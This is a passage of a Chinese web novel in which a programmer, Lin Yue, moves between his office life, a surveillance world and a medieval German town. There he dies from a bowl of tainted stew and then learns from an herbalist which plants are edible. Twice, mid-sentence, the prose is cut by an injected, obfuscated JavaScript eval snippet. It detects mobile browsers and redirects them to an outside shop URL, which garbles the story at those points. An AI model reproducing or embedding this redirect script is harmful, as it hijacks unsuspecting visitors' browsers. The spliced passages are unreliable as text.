6.剩余红痕:1道(用掉2道) 写完后,他盯着那行“死亡次数:2次”。 “在监控世界死了两次。”他轻声说,“感觉和龙语世界不太一样。龙语世界的死亡是物理性的——砍头、中毒、乱箭射死。监控世界的死亡是数字性的——神经接口过载,意识中断,被系统记录分析。但结果一样:痛,冷,黑暗。” “然后重生,继续。” 他把笔记本合上,放回包里。这个动作让他意识到另一个变化:动作效率。 在监控世界,每个动作都要考虑“是否会被系统记录”、“是否会引发威胁度波动”、“是否在安全阈值内”。现在回到现实世界,这些限制消失了,但高效的动作模式保留了下来——拿东西时手指的移动轨迹是最短路径,转身时身体重心转移流畅,甚至呼吸节奏都保持在最节省能量的状态。 “就像卸载了一个占用大量内存的后台程序,但优化过的系统调度策略保留了下来。”林越吐槽自己,“现在的我,是‘林越Pro Max版’,续航可能差了点,但处理速度飙升。” 手机突然震动。 林越拿起来看,是工作群的消息。时间显示23:50,项目经理张总在群里@所有人: 【张总】@全体成员明天上午9点紧急会议,讨论Q3冲刺方案。市场部新给了几个大单,技术部压力很大。大家今晚早点休息,明天打起精神。PS:小林,你上次提的那个自动化测试方案,明天会上详细讲一下。 林越盯着那条消息,脑子里自动开始分析: ?表层信息:明天有会,要讲方案。 ?深层信息:张总在施压(“压力很大”),同时给他表现机会(“详细讲一下”)。 ?潜在意图:可能想让他多接活,或者为后续的“自愿加班”做铺垫。 ?威胁度评估:低(职场常规操作),但需要注意(可能影响后续时间安排)。 他正准备回复“收到”,手指停在半空。 然后,监控世界的思维模式自动启动: 回复策略分析: ?选项A:简单回复“收到”。结果:符合预期,无风险,无加分。 ?选项B:回复“收到,方案已准备好,明天会上详细汇报”。结果:展示主动性,可能加分。 ?选项C:回复“收到,另外关于市场部新需求,我初步想了几个技术实现方案,明天一并讨论”。结果:超额表现,可能被委派更多工作,风险与机遇并存。 林越选了B。 不是不敢选C,而是知道在现实职场,有时候“恰到好处”比“超额完成”更安全。尤其是在他刚从一个随时可能被系统清除的世界回来的情况下,对“安全边界”有了新的理解。 他输入:“收到,张总。方案已准备好,明天会上详细汇报。” 点击发送。 几乎是立刻,同事小刘私聊他: 【小刘】林哥,还没睡啊? 林越看着那条消息,脑子里又开始分析: ?表层:寒暄。 ?深层:试探(为什么这么晚还在回消息)。 ?可能意图:想知道他是不是在加班,或者单纯刷存在感。 他回复:“刚要睡,看到消息回一下。你呢?” 【小刘】我在改bu□□品经理又加需求了,说客户要得急。唉,这班加的,快赶上007了。 林越看着“007”这个词,脑子里突然冒出监控世界的“清道夫”——那些穿着黑色制服,面无表情,执行“清除指标”的人。他们的工作也是“007”,但清除的不是bug,是人。 这个荒谬的对比让他差点笑出来。 他克制住,回复:“辛苦了,早点休息。” 【小刘】嗯嗯,林哥你也早点睡。明天见。 对话结束。 林越放下手机,走到厨房倒了杯水。喝水的过程中,他的大脑还在多线程运转: 主线任务:准备明天会议方案(已完成80%,剩余20%调整)。 支线任务:应对母亲可能打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188578|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的电话(概率70%,时间未知)。 隐藏任务:隐藏自己的异常(持续进行)。 资源管理:睡眠时间(需保证至少6小时)、饮食(明早需补充蛋白质)、心理状态(需用现实生活“对冲”穿越刺激)。 喝完水,他回到卧室,坐在床边。 然后,意识深处某个开关被触发了。 不是自愿的,是强制性的——就像在监控世界被神经接口绑定后,系统会强制推送信息流一样。但这次推送的不是数据,是……对比。 现实世界 vs 监控世界对比分析: 1.自由度:现实世界高(无神经接口监控,无威胁度标记,无清道夫追捕)。监控世界低(全方位监控,行为受限)。 2.风险等级:现实世界低(最大风险是失业、生病、人际关系问题)。监控世界高(随时可能被系统清除)。 3.回报率:现实世界稳定但有限(工资、晋升、社会认同)。监控世界不稳定但可能极高(钥匙碎片、数据飞地、跨世界知识)。 4.心理负荷:现实世界常规压力(工作、家庭、社交)。监控世界极端压力(生存威胁、死亡轮回、认知冲突)。 结论:现实世界是“安全区”,监控世界是“高风险高回报区”。 “所以我现在是‘双线操作’。”林越总结,“现实世界刷日常任务,攒基础资源;穿越世界刷副本,拿稀有装备。两边经验可以部分通用——比如监控世界的信息处理能力,可以提升现实工作效率;现实世界的‘正常生活’,可以缓解穿越带来的心理创伤。” “完美。” 如果忽略掉“可能会死”这个细节的话。 手机又响了。这次不是消息,是电话。 屏幕上显示:“妈”。 林越深吸一口气,接通:“妈,这么晚还没睡?” “刚看完电视剧,想着给你打个电话。”母亲的声音从听筒里传来,背景里有电视机的细微声音,“你这周加班多吗?上次回家看你脸色不太好,是不是太累了?” 林越脑子里快速分析语气: ?表层:关心。 ?深层:担心(可能察觉到他状态异常)。 ?应对策略:淡化处理,转移话题。 “还行,就是最近项目多,睡得晚。”他说,“不过都在可控范围内。妈你别担心,我自己有数。” “有数就好。”母亲停顿了一下,“对了,你李阿姨家的女儿回国了,在投行工作,条件挺好的。你要不要……” “妈。”林越打断她,“我现在工作挺忙的,暂时没时间考虑这些。” “知道你忙,但也不能一直单着啊。”母亲叹气,“算了,你自己看着办吧。周末回家吃饭吗?你爸念叨你呢。” “这周末可能要加班,我看情况。”林越说,“如果回去提前跟你说。” “行,那你早点休息,别熬夜。” “嗯,妈你也早点睡。” 挂断电话。 林越把手机放在桌上,盯着它看了几秒。母亲的声音还在耳边回荡,那种平凡的、温暖的、琐碎的关心,和监控世界冰冷的系统提示音形成鲜明对比。 “现实世界的‘锚’。”他轻声说。 这个词突然击中了他。 在监控世界,他建立了数据飞地“误差研究所”,作为意识备份和隐私空间。但那个飞地是虚拟的,是数据层面的存在。而现实世界——这个有母亲电话、有工作群消息、有掉漆天花板的世界——是物理的,是情感的,是……真实的。 “也许穿越的意义就在这里。”他想,“不是让你变成超人,不是让你征服世界,是让你在经历极端之后,更清楚地看到什么是‘值得守护的普通’。” 他感觉到了。 不是视觉,不是听觉,是一种更底层的牵引——就像在龙语世界死亡后,被拉进监控世界时的那种感觉。但这次更……自然?或者说,更“规则化”。没有系统提示,没有倒计时,只有一种清晰的认知:该走了。 “而新世界……” 时间到了。 他站起来,走到窗边,最后看了一眼外面的城市夜景。 然后转身,走到床边,躺下。 闭上眼睛。 呼吸平稳。 等待。 然后, 睁开眼睛…… 32.欢迎仪式 林越睁开眼睛。 不是天花板上的水渍澳大利亚,不是数据飞地的虚拟穹顶,不是监控世界神经接口断开时的瞬间失重。 是泥土。 他脸朝下趴着,鼻尖距离地面不到三厘米。泥土是深褐色的,湿润,散发着一种复杂的味道——像是腐烂的植物、动物粪便、还有某种无法形容的甜腻气息混合在一起。 他动了动手指,感受到真实的触感:泥土的颗粒感,草叶的粗糙,还有……一只蚂蚁正试图爬过他的手背。 “很好。”林越心想,“不是虚拟现实,不是数据投影,是真实的物理世界。而且有昆虫——说明生态循环正常,或者说,太正常了。” 他撑起身体,坐起来,环顾四周。 这是一处镇子入口不远处的灌木丛里,虽然稀疏遮不住人,但好在周围也没有人经过,勉强能看到镇子石墙门上的标牌写着德文的“灰石镇”。 林越的第一反应是深呼吸——然后立刻后悔了。 空气进入鼻腔的瞬间,他的大脑自动启动了信息分析模块: 空气成分初步分析(基于感官输入): ?主要成分:尘土(约65%体积占比,颗粒大小不均,可能含有微生物) ?次要成分:粪便分解产物(约30%,来源:人类排泄物、动物粪便、垃圾堆肥) ?微量成分:木材燃烧烟雾、金属冶炼废气、腐烂有机物挥发性气体 ?情感附加值:绝望(约5%,来源:心理投射及环境氛围综合评估) “这里的空气,”林越捂着鼻子站起来,“比老板画的饼还难吃。至少老板画的饼闻起来是面粉味,这里闻起来像……整个城市都在露天拉屎,而且没人收拾。” 他检查自己的身体状态:健康,没有受伤,穿着普通粗布衣服(中世纪平民款式),鞋子是简陋的皮革制品,脚感一般。左手腕上,三道红痕鲜艳如新——这是他在这个世界的“复活币”,三道。 “三道红痕,三次机会。”林越自言自语,“目标:活着离开。或者至少,死得有教育意义。” 他开始观察环境。 灰石镇坐落在一片丘陵地带,镇子被粗糙的石墙围着,墙不高,大概三米左右,上面有木制瞭望塔,但没人站岗。镇子外围是农田,种着小麦(看起来营养不良)和蔬菜(叶子发黄)。更远处是森林,树木茂密,透露着原始的气息。 镇子入口是一条土路,被车轮压出深深的沟壑,里面积着浑浊的水——雨水混合着泥土、马粪、还有其他不明液体。 路上有人。 穿着粗糙亚麻或羊毛衣服的农民推着木质手推车,车上堆着干草或者蔬菜。妇女提着水桶,桶里的水颜色可疑。孩子光着脚在泥地里跑,脸上沾着污渍,鼻涕挂在嘴边。 没人注意到林越——或者说,注意到了,但没人在意。一个穿着奇怪衣服(在他们看来)的外来者,在这个时代不算罕见。流浪者、逃难的农民、寻找工作的手艺人,边境小镇总能见到。 林越站在原地,大脑开始制定生存计划。 《中世纪生存计划v1.0》 ?阶段一:信息收集(0-6小时) 1.语言:学习基础德语方言(观察、模仿、必要时装哑巴)。 2.货币:确认交易媒介(硬币?实物交换?信用?)。 3.社会结构:识别权力层级(领主、教会、平民)。 4.威胁评估:主要危险来源(疾病、暴力、饥饿、宗教迫害)。 ?阶段二:基础生存(6-48小时) 1.水源:找到安全饮用水源(煮沸是底线)。 2.食物:获取最低限度热量摄入(避免有毒植物和腐败食物)。 3.住所:寻找临时栖身地(避免跳蚤老鼠密集区)。 4.身份:建立无害外来者人设(避免引起怀疑)。 ?阶段三:长期适应(48小时以上) 1.技能:学习本地有用技能(草药、基础手工)。 2.社交:建立有限但必要的人际关系(信息源、互助网络)。 3.目标:探索钥匙碎片线索(玉坠反应?历史记录?)。 4.退出:规划离开路径(如果可能)。 计划制定完毕,林越深吸一口气——然后再次后悔,因为那股味道又冲进了鼻腔。 “先解决语言问题。”他朝镇子入口走去。 土路比看起来更难走。沟壑里的积水不知道沉淀了多久,颜色从浑浊的黄色到深褐色不等。林越小心翼翼地绕过水坑,但鞋子还是不可避免地沾上了泥浆。 走到入口时,他遇到了第一个“NPC”:一个靠在墙边打盹的守卫。 守卫穿着破旧的皮甲,手里拿着木柄长矛,矛尖锈迹斑斑。他看起来五十岁左右,脸上布满皱纹和晒斑,眼睛半闭着,仿佛随时会睡着。 林越走过去,守卫睁开眼睛瞥了他一眼,又闭上了。 “看来边境小镇的安保意识,和某些公司的门禁系统一样,形同虚设。”林越心想,“也好,省了盘查的麻烦。” 他走进镇子。 然后,感官冲击达到了新的高度。 如果说镇子外的空气是“难吃”,那么镇子里的空气就是“生化武器级别”。 街道狭窄,两边是木结构房屋,有些已经歪斜,靠木杆支撑着。房屋之间距离很近,二楼甚至有“过街楼”——两栋房子的二楼用木板连接,人在上面走。 地面没有铺石板,是压实了的泥土,但泥土里混合着各种东西:菜叶、果皮、动物骨头、破碎的陶片,还有……人类的排泄物。 是的,排泄物。 就在街道中央,一坨新鲜的粪便堆在那里,周围苍蝇飞舞。一个妇人提着裙子从旁边走过,看都没看一眼。两个孩子在不远处玩耍,其中一个不小心踩到了,也只是在泥土上蹭了蹭鞋底。 林越停下脚步。 他的大脑试图用程序员思维解析这个场景: 场景:中世纪城镇街道卫生管理 ?问题描述:固体废弃物(包括人类排泄物)未集中处理,随意丢弃在公共空间。 ?根本原因:缺乏市政环卫系统、卫生观念落后、资源(水、清洁工具)匮乏。 ?潜在风险:病媒生物滋生(苍蝇、老鼠、跳蚤)、水源污染、空气污染、疾病传播(霍乱、伤寒、痢疾等)。 ?解决方案: 1.短期:建立公共厕所、定期清理制度、垃圾集中处理点。 2.中期:铺装街道(石板)、建设排水系统、推广卫生教育。 3.长期:改变社会观念、建立市政管理机构、提升资源投入。 ?可行性评估:在当前技术条件和社会认知水平下,短期方案可行性低(资源限制、观念阻力),中期方案几乎不可能(成本过高),长期方案……算了,不想了。 “所以结论是,”林越总结,“我得在这个‘露天化粪池’里生存,而且不能指望环境改善。唯一能做的是个人防护:避开明显污染源,所有入口的东西必须处理,保持基本清洁。” 他继续往前走,尽量沿着墙根,避开街道中央的“雷区”。 镇子不大,大概几百户人家。中心有个广场,广场上有口水井,几个妇女正在打水。井边堆着木桶,桶壁上沾着深色污渍。 林越观察打水过程:妇女把木桶扔进井里,拉上来,倒进自己的桶里,然后提着离开。整个过程没有任何过滤或消毒步骤。 “水源地就在公共区域,周围有垃圾和粪便,打水工具共用且不清洗。”林越记录,“这口井的水,细菌含量可能比某些培养皿还高。” 他需要水。 渴。 从穿越到现在,大概过去了一个小时,身体开始发出缺水信号。但他知道,这口井的水不能直接喝——除非煮沸。 问题来了:怎么煮? 他没有锅,没有火,没有燃料。就算有,在公共区域生火煮水,会不会引起怀疑? “第一步:获取煮水工具。”林越制定子任务。 他离开广场,在街道上寻找可能的目标。铁匠铺?可能有铁锅,但价格肯定不便宜,而且他没钱。陶器店?也许有陶罐,但同样需要钱。 “所以第二步:获取货币。”子任务嵌套。 他走到一个看起来像市场的地方。几排简陋的木棚,摊主摆着各种商品:蔬菜(大多不新鲜)、谷物(有虫)、肉类(苍蝇环绕)、手工制品(粗糙的陶碗、木勺、草编篮子)。 林越观察交易方式:大部分是实物交换(一袋谷物换几个陶碗),少数用硬币——银色的小圆片,上面有模糊的图案。 他没有东西可交换,也没有钱。 “初始资源:零。”他心想,“这游戏开局难度是不是有点高?” 就在他思考时,一个老妇人引起了他的注意。 老妇人坐在市场角落的摊位后面,摊位上摆着各种干草、树根、晒干的植物。她穿着深色粗布长裙,头发用头巾包着,脸上皱纹深刻,但眼睛很亮。 她正在整理一捆草药,动作熟练。 草药师。 林越脑子里闪过这个词。在中世纪,草药师是重要的医疗资源,虽然可能被教会视为“女巫”,但民间依赖她们。 更重要的是:草药师可能知道哪些水能喝,哪些不能;哪些植物有毒,哪些能吃;以及……如何在这个世界生存。 他走过去。 老妇人抬头看他,眼神警惕但不过分紧张。 “Guten Tag.”林越尝试用德语打招呼——他在监控世界学过一点基础,发音生硬。 老妇人没说话,只是点点头。 林越指了指摊位上的草药,又指了指自己的喉咙,做了个喝水的动作——意思是“我需要能治病的草药”。 老妇人看了他几秒,然后从摊位上拿起一小捆干草,递给他。 林越接过,闻了闻——有薄荷的味道。 “Danke.”他说谢谢。 老妇人摆摆手,示意他可以拿走。 免费赠送?林越有点意外。但他很快明白:在这个时代,外来者如果病死街头,可能会引发更大的麻烦(比如瘟疫传播)。草药师给他草药,可能是预防措施。 他收起草药,然后指了指水井方向,又做了个“不能喝”的手势。 老妇人盯着他,眼神变得锐利。 她慢慢开口,声音沙哑:“Das Wasser … krank machen.”(那水……会让人生病。) 林越点头,又做了个“煮水”的手势——把手放在锅上,模仿火焰。 老妇人理解了。她沉默了几秒,然后从摊位下面拿出一个小陶罐——粗糙,有裂纹,但能用。 她递给他。 林越接过陶罐,再次道谢。 “Feuer.”老妇人说,指了指市场另一头——那里有个铁匠铺,炉火正旺。 林越明白了:去铁匠铺借火。 他拿着陶罐和草药,走向铁匠铺。铁匠是个壮汉,光着膀子,正在敲打一块烧红的铁。看到林越拿着陶罐过来,皱了皱眉。 林越指了指陶罐,又指了指炉火,做了个“请求”的手势。 铁匠盯着他看了几秒,然后挥了挥锤子,示意他可以用角落里的余烬。 林越把陶罐放在余烬旁,又从井边打了半罐水——水浑浊,有悬浮物。他把水倒进陶罐,等待煮沸。 等待过程中,他观察周围。 市场里的人来来往往,没人特别注意他。铁匠继续打铁,火星四溅。老妇人在摊位后闭目养神。孩子们在街上追逐打闹,踩过污水坑。 一切都“正常”。 在这个没有自来水、没有垃圾处理、没有基本卫生观念的世界里,这一切都是“正常”的。 陶罐里的水开始冒泡。 林越等到水沸腾至少一分钟——确保杀死大部分细菌和寄生虫——然后把陶罐从火上移开,等待冷却。 渴。 喉咙像着了火。 他盯着陶罐里慢慢平息的水,看着水面上漂浮的细小杂质(煮沸也没法完全清除),闻着那股淡淡的泥土味和铁锈味。 “这就是中世纪的生活。”他想,“连喝口水都得这么麻烦。而且这还只是第一天,接下来还有跳蚤、老鼠、可能的瘟疫、落后的医疗……” “但至少,我现在有水喝了。” 水凉到能入口时,林越小心地喝了几口。味道不好,有铁锈味和泥土味,但至少是安全的。 喝完水,他把陶罐还给老妇人(她摆摆手让他留着),然后开始在镇子里寻找临时住所。 他需要个地方过夜。 镇子边缘有个废弃的木棚,原本可能是堆放农具的,现在空着。棚子很简陋,木板墙有裂缝,屋顶漏光,地上铺着干草——干草里有东西在动。 跳蚤。还有老鼠粪便。 “住宿条件: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188579|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差评。”林越评估,“但至少免费,而且相对隐蔽。” 他把干草清理出去(尽量),用木棍敲打地面(吓跑一些虫子),然后坐下来,开始复盘今天: 第一天总结: ?语言:基础德语交流可行(手势辅助)。 ?水源:找到井水,获得煮水工具(陶罐),建立煮沸饮用流程。 ?食物:尚未解决(饥饿度:中等)。 ?住所:找到临时栖身处(卫生条件差,需防虫)。 ?社交:接触草药师(潜在盟友),与其他NPC无冲突。 ?威胁:环境卫生极差,疾病风险高。 ?红痕状态:3/3(未使用)。 “还算顺利。”他心想,“除了空气质量和卫生条件让人想立刻辞职回现实世界之外,基本生存需求初步解决。” 夜幕降临。 镇子里没有路灯,只有零星窗户透出油灯的光。人们早早回家,街道空无一人——除了野狗和老鼠。 林越躺在木棚的干草上(经过简单清理),看着从屋顶裂缝透进来的星光。 手腕上的红痕在黑暗中微微发光。 他想起了现实世界:母亲今晚会不会又打电话?明天的工作会议,他那个自动化测试方案还得调整。同事小刘还在加班改bug吗? 两个世界的画面在脑海里交替闪现。 “双线生存。”他轻声说,“一边是KPI和咖啡,一边是粪便和跳蚤。哪个更真实?” 没有答案。 他闭上眼睛,准备休息。 但就在意识即将沉入睡眠时,一种强烈的饥饿感突然袭来。 不是普通的饿,是那种无论如何都想要吃一口食物,不论是什么食物,当然最好是烧烤的极端饥饿。 林越坐起来,摸向身边的陶罐——空的。 他需要去找点什么吃的。 但现在出去找食物?深夜,没有光,且不可能有店还开着,又不是现代,总不好摸去别人的厨房。 “就忍到天亮吧。”他告诉自己,“几个小时而已。” 但身体不听劝告。饿感越来越强烈,像有痒痒挠在胃里和脑里不停抓挠。 他想起白天看到的贫民窟,曾经音乐听到有人在讨论白天都在劳作,晚上要吃点什么。贫民窟的宵夜,应该不会有事吧? “食品安全是底线。”脑子里有个声音说。 “但底线是用来突破的。”另一个声音反驳,“特殊情况特殊处理。就一碗,明天一定只吃确认安全的食物。” 侥幸心理开始滋生。 林越站起来,走出木棚。夜色中的灰石镇寂静无声,只有远处传来狗吠。他凭着记忆朝贫民区走去——白天他看到那里有人在分食一锅炖煮的东西。 饥饿感像一只无形的手,攥紧了他的胃。从穿越到现在,他只喝了几口煮沸的水,没有任何固体食物摄入。身体开始发出能量告急的信号:头晕、乏力、注意力难以集中。 月光勉强照亮道路,他避开明显的污物,走到贫民区边缘。几个衣衫褴褛的人围坐在一小堆火旁,火上架着一个破旧的铁锅,锅里煮着深色的液体,飘出混合着肉味和某种怪异腥气的气味。 一个老妇人看到他,招了招手,用木勺指了指锅。 林越走过去。锅里的东西在火光下看不真切,但能看到漂浮的肉块——颜色暗红,纹理粗糙,可能是某种病死或老死的动物。汤的表面浮着一层油腻的泡沫,边缘粘着黑色的渣滓。 “吃吧,”老妇人用沙哑的声音说,“上帝赐予的食物。” 林越盯着那锅汤。程序员思维在疯狂报警: 风险评估: ?食材来源:未知动物肉,可能病死、老死或非正常死亡。 ?烹饪处理:煮沸时间未知,可能不足以杀死所有病原体。 ?卫生条件:公共锅具,多人分食,交叉污染风险高。 ?潜在病原:沙门氏菌、肉毒杆菌、寄生虫卵等。 结论:高风险,不建议摄入。 但他太饿了。胃部的绞痛压过了理智的警告。 “就一碗。”他对自己说,“中世纪人天天吃这些也没都死掉。概率问题。” 他接过老妇人递来的木碗。碗很粗糙,边缘有裂缝,里面盛了小半碗汤和一块肉。肉块的大小和形状不规则,颜色深暗,表面有可疑的斑点。 他闻了闻——浓郁的肉味掩盖了其他气味,但仔细分辨,能嗅到一丝若有若无的腐臭味。 饥饿战胜了警惕。 他喝了一口汤。味道复杂:咸味很重(可能加了大量盐防腐),有肉味,但也有种说不出的酸败感。肉块咬下去很柴,纤维粗糙,需要用力咀嚼。 他吃完了整碗。把碗还回去,道谢,走回木棚。 躺下时,他告诉自己:“没事的。高温煮沸过,大部分细菌都死了。而且我身体抵抗力应该比中世纪人强。概率问题。不一定那么倒霉。” 但内心深处,程序员思维在报警:风险行为已记录。后果预估:负面。 他闭上眼睛,强迫自己睡觉。 几个小时后,疼痛把他惊醒。 先是腹部绞痛,像有刀在里面搅。然后恶心感涌上来,他冲出木棚,呕吐——吐出的是刚吃下的肉汤残渣,混合着胃液,气味刺鼻。 呕吐后是更剧烈的腹痛,伴随着全身发冷和发热交替。他蜷缩在地上,额头冒汗,身体不受控制地颤抖。视线开始模糊,心跳快得不正常。 食物中毒。 沙门氏菌?肉毒杆菌?还是其他什么病原体?他分不清,只知道身体系统正在崩溃。 “侥幸心理是最大的病毒。”林越躺在木棚的地上,意识逐渐模糊,“比办公室政治传播还快。” 他想起了监控世界的死亡:神经过载崩溃,意识中断,被系统记录分析。 这次不一样。这次是生物性的死亡:细菌感染,中毒反应,器官衰竭。 更原始,更物理,更……痛苦。 但他没有恐惧。 只有一种荒谬感:穿越到中世纪,死因居然是吃了一碗来路不明的肉汤。 “至少这次,”他最后想,“不用写死亡报告给系统。” 黑暗吞噬了他。 手腕上,一道红痕从鲜艳的红色,褪成了暗红,再变成淡红,最后几乎看不见。 另外两道红痕,重新变得鲜艳。 第一次死亡,结束。 第一次重生,开始。 33.死亡再开 清晨的第一缕光线透过木板的缝隙,在林越脸上切出细碎的光斑。 他睁开眼,盯着头顶上方模糊的木板纹理看了三秒,然后猛地坐起身。 动作幅度太大,牵扯到肋骨下方某个还残留着隐约疼痛的位置——不是真实的身体疼痛,而是记忆留下的肌肉惯性。林越低头,右手下意识捂向腹部,左手已经抬到眼前。 手腕上,两道鲜红色的痕迹在晨光中刺眼。 “两次。” 林越低声说,声音在清晨的寂静里清晰得过分。 他放下左手,右手轻轻按在腹部那个曾经发生过剧烈痉挛的位置。死亡体验的记忆不是画面,而是感觉——一种纯粹的身体记忆:内脏像是被无形的手攥住、拧紧、再用力拉扯;高热从胃部炸开,席卷全身;视线模糊前的最后一刻,他看到的是自己的手在颤抖,手背上青筋暴起。 现在回想起来,整个过程其实很快。 从喝下那碗汤到倒地失去意识,前后不超过十分钟。 “十分钟。”林越又念了一遍这个词,然后扯了扯嘴角,“一碗肉汤,十分钟,一条命。这效率要是放在工作上,我大概已经财务自由了。” 自嘲的念头一闪而过,紧接着是更系统化的复盘。 他闭上眼睛,开始在脑海里回放每一个细节: 第二次轮回的第一天。饥饿。陌生环境。语言不通。那个老婆婆端出的陶碗。碗里浑浊的汤水。漂浮的碎肉。没有餐具,只能用陶碗边缘小心地喝。味道……咸得发苦,有股说不出的腥气。 当时所有的注意力都集中在“语言”和“身份”上,潜意识里默认“有人给的食物应该是安全的”。 但默认假设往往是漏洞所在。 “漏洞一:信任前置。”林越在心里默默列项,“在没有验证对方意图和能力的情况下,直接接受入口之物。” “漏洞二:知识盲区。只关注饮水安全,完全忽视了食物污染的可能性。” “漏洞三:风险评估偏差。将‘饥饿导致体力下降’判定为当前最大风险,忽略了‘食物中毒致死’的更高风险。” “漏洞四:……” 他停住了。 因为第四条漏洞,其实是最根本的那条:侥幸心理。 总觉得“不至于那么倒霉”,总觉得“别人能吃我就能吃”,总觉得“一次而已,问题不大”。 但问题就是这么大。大到他用掉了第一道红痕,用掉了一次死亡机会。 林越睁开眼,看向手腕上那道几乎消失的痕迹。 “侥幸心理是最大的病毒。”他低声总结,“而且专攻智商。” 起床、简单活动身体、检查随身物品——那个流程在第三次轮回的第二天清晨,已经熟悉得像是上班打卡。 但今天多了一个新步骤。 林越从角落的干草堆里翻出昨天找到的半截炭笔,又从墙壁上抠下一块相对平整的石片。炭笔在黑灰色石片上划过,留下浅浅的白痕。 他开始写。 或者说,开始构建。 《中世纪食品安全体系v1.0》 标题写下的时候,林越脑子里闪过一个念头:这大概是人类历史上第一份专门针对中世纪环境的食品安全规范文档。而且作者是个刚因为食品安全问题死过一次的人。 黑色幽默的荒诞感让他停顿了一秒,然后继续写下去。 一、食物来源验证层级 1.可食用植物:必须由至少两名本地可靠人员分别确认,且提供识别特征(颜色、形状、气味、生长环境)。 2.肉类: ?来源动物种类(禁止:病死动物、腐肉、不明来源肉类) ?屠宰时间(新鲜度判断:颜色、气味、弹性) ?储存条件(温度、通风、防虫) 3.谷物及加工品: ?检查有无霉变、虫蛀 ?询问存储时间及方式 二、烹饪处理层级 1.煮沸:所有液体类食物(汤、水)必须持续沸腾至少五分钟。 2.充分加热:固体食物必须确保中心温度达到安全阈值(实际标准:滚烫,无法直接入口)。 3.炊具清洁:使用前必须用沸水冲洗或直接煮沸消毒。 三、存储防护层级 1.短期存储(当日食用):置于通风阴凉处,避免阳光直射。 2.隔夜存储:必须重新彻底加热。 3.禁止食用:已出现异味、变色、霉斑的食物,无论“看起来还能不能吃”。 四、交叉污染预防 1.生熟分开:处理生食后必须清洁双手及工具,再接触熟食。 2.个人卫生:进食前必须用清洁水洗手(条件允许情况下)。 3.环境控制:避免在明显污浊的环境中处理食物。 写到第四条的时候,林越的炭笔停住了。 他盯着石片上密密麻麻的白痕,脑子里突然冒出一个问题:这些规范,在这个时代的环境里,真的能执行多少? 煮沸需要燃料。燃料需要钱或者劳动换取。 检查食物来源需要知识。知识需要学习,而且可能根本学不到完整版——中世纪人自己可能都不清楚哪些蘑菇有毒,哪些没毒。 存储需要相对干净的环境。而他睡在漏风的木屋里,地上是干草,墙边有老鼠洞。 “理想很丰满。”林越对着石片自言自语,“现实骨感得像饿了三天的流浪猫。” 但他还是继续写完了。 因为不写,就是连理想都没有。 而在这鬼地方,理想至少能告诉你“应该往哪个方向挣扎”。 卖草药的玛格丽特婆婆的木屋比林越住的那间大一些,但也只大一些。 门前挂着一串风干的草药,在晨风里轻轻摇晃,散发出混杂的草木气味。林越站在门前,先仔细看了看那些草药——大部分他不认识,但有一两种眼熟:好像是昨天在市场角落看到过的,被摆在地上卖,价格便宜得可怜。 他抬手敲了敲门板。 门很快开了。站在门后的老人看起来七十岁上下,脸上皱纹深得像刀刻,但眼睛很亮。她穿着一件灰褐色的亚麻长裙,外面罩着件同样颜色的披肩,头发用一块旧布包着。 她看着林越,没有说话,只是等。 林越指了指自己,然后用手指比划了一个“吃”的动作,又指了指自己的嘴,再指指肚子,最后做出一个痛苦倒地的姿势。 玛格丽特婆婆看了他几秒,然后侧身让开门口。 木屋里的光线比外面暗很多,但收拾得相对整洁。靠墙的木架上摆着各种陶罐、草编的篮子,还有一些晒干的植物束。空气中弥漫着更浓郁的草药味,混着泥土和陈年木头的味道。 林越走进去,目光快速扫过整个空间。 然后他看到了角落里的炉灶——不是他想象中的壁炉,而是一个用石块垒起来的简易灶台,上面架着一口黑乎乎的铁锅。灶台旁堆着一些木柴和干草。 玛格丽特婆婆走到木架前,取下一个草篮,从里面拿出几株晒干的植物,放在屋中央的木桌上。她指了指那些植物,又指了指林越,然后做了个“吃”的手势。 林越走过去,低头看。 第一株:叶子细长,边缘有锯齿,晒干后呈灰绿色。 第二株:茎干粗壮,顶端结着小颗粒状的果实,已经干瘪。 第三株:叶子宽大,表面有绒毛,颜色深绿。 他一个都不认识。 但玛格丽特婆婆拿起第一株,放了一小片叶子在自己嘴里,慢慢咀嚼,然后咽下去。接着她看向林越,眼神平静。 意思是:这个,能吃。 林越没有立刻模仿。 他先仔细观察了那株植物的每一个细节——叶子的形状、锯齿的密度、茎干的分叉方式、颜色分布。然后在脑子里默默建立一个“特征库”。 接着是第二株。玛格丽特婆婆重复了同样的动作:取一小部分,咀嚼,吞咽。 第三株也是。 全部结束后,老人看着林越,等待他的反应。 林越指了指第一株,然后做了个“疑问”的手势——怎么辨认?有没有相似的不能吃的? 玛格丽特婆婆显然理解了他的意思。她走到木架旁,又取来另一束晒干的植物,放在桌上。 这一株的叶子形状和第一株很像,但颜色更深,锯齿更密集,而且茎干上有些细小的斑点。 老人拿起这株,摇了摇头,然后做出一个呕吐、倒地的动作。 有毒。 林越盯着两株植物,开始对比。 相似度大概有70%,但关键区别在于:无毒的那株叶子背面有极细的白色绒毛,有毒的那株没有;无毒的那株锯齿比较钝,有毒的那株锯齿尖锐;无毒的那株茎干是均匀的灰绿色,有毒的那株有暗红色斑点。 “特征库”更新。 他重复了同样的对比过程,把玛格丽特婆婆展示的其他几种可食用植物和它们的有毒相似品种都记了下来。 不是用笔,是用脑子。 